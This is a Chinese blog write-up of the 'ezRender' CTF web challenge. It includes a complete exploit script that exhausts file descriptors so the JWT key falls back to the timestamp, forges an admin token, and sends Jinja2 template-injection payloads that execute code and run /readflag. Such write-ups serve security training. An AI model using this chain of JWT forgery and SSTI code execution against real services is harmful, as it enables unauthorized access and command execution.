获取中...

-

Just a minute...

ezRender

这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。

jwt密钥生成逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None

self.secret=self.setSecret()

def handler(self):
self.handle = open("/dev/random", "rb") #从/dev/random文件获取一个随机数
def setSecret(self):
secret = self.Registertime #获取当前时间
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex()) #key是时间+随机数
except Exception as e:
print("this file is not exist or be removed")
return secret

时间很好搞定,随机数咋办呢?

原本我的理解是通过不断向/dev/random发送随机数请求,用光熵,它就不会生成随机数了。这里歪打正着了。

但其实后面出题人给了提示:ulimit -n =2048

这个值是linux中限制打开文件数量的,也就是说,我每次创建一个新用户,就会打开一次/dev/random,而这里open没close,文件并不会关闭。一直创建新用户直到两千多个用户时,代码就会因为文件打开数量的限制,而无法打开/dev/random,也就无法获取随机数,从而这个用户的jwt key只有时间了,我们也就可以把它的身份改成admin从而执行后面的行动。

在admin路由,可以渲染模版,像49这种纯字符型的模版可以成功渲染,但是需要渲染“高级”一点的代码就不行了,这是因为之前把文件打开数量塞满了,渲染模版的时候需要新打开一个文件,这就导致了阻塞,我们需要删除一些用户,然后来释放一些文件,好让我们的模版可以成功渲染。

这个题还不出网弹不了shell,内存马没写成功=-=

一键获得flag exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import base64
import json
import time
import jwt
import requests

url = "http://1.95.87.193:39451"
i = 0

while True:
#register
i = i + 1
data = {"username":"admin"+str(i),"password":"123456"}
resregister = requests.post(url+'/register',json=data)
print(i)
print(resregister.text)
timekey = str(time.time())[0:10]
print(timekey)

#login获取cookie
reslogin = requests.post(url+'/login',json=data)
token = json.loads(base64.b64decode(reslogin.cookies['Token']))
secret = token['secret']
print(secret)

try:
# 解码
decrypt_infor = jwt.decode(secret, timekey, algorithms=['HS256'])
print(decrypt_infor)
print("flag")

#输出加密后的cookie
secret1 = {"name": "admin"+str(i), "is_admin": "1"}
verify_c = jwt.encode(secret1, timekey, algorithm='HS256')
infor = {"name":"admin"+str(i), "secret": verify_c}
token1 = base64.b64encode(json.dumps(infor).encode()).decode()
print(token1)
break
except:
pass

#删除user,释放占用的文件
for j in range(1,300):
data = {"username":"admin"+str(j)}
res = requests.post(url+'/removeUser',data=data,cookies={"Token":token1})
print(res.text)


data = {"code":"{{x.__init__.__globals__.__getitem__('__builtins__').__getitem__('ex''ec')(\"setattr(__import__('sys').modules.__getitem__('__main__').__dict__.__getitem__('APP'.lower()),'_static_folder','/')\")}}"} #将static目录污染到根目录
requests.post(url+'/admin',data=data,cookies={"Token":token1})

data = {"code":"{{g.pop.__globals__.__builtins__.__import__('OS'.lower()).popen('/readflag 2>&1 1>/tmp/res.txt').read()}}"} #由于它关闭了标准输出,这里将错误输出从定向到res.txt
requests.post(url+'/admin',data=data,cookies={"Token":token1})

res = requests.get(url+'/static/tmp/res.txt')
print(res.text)
相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解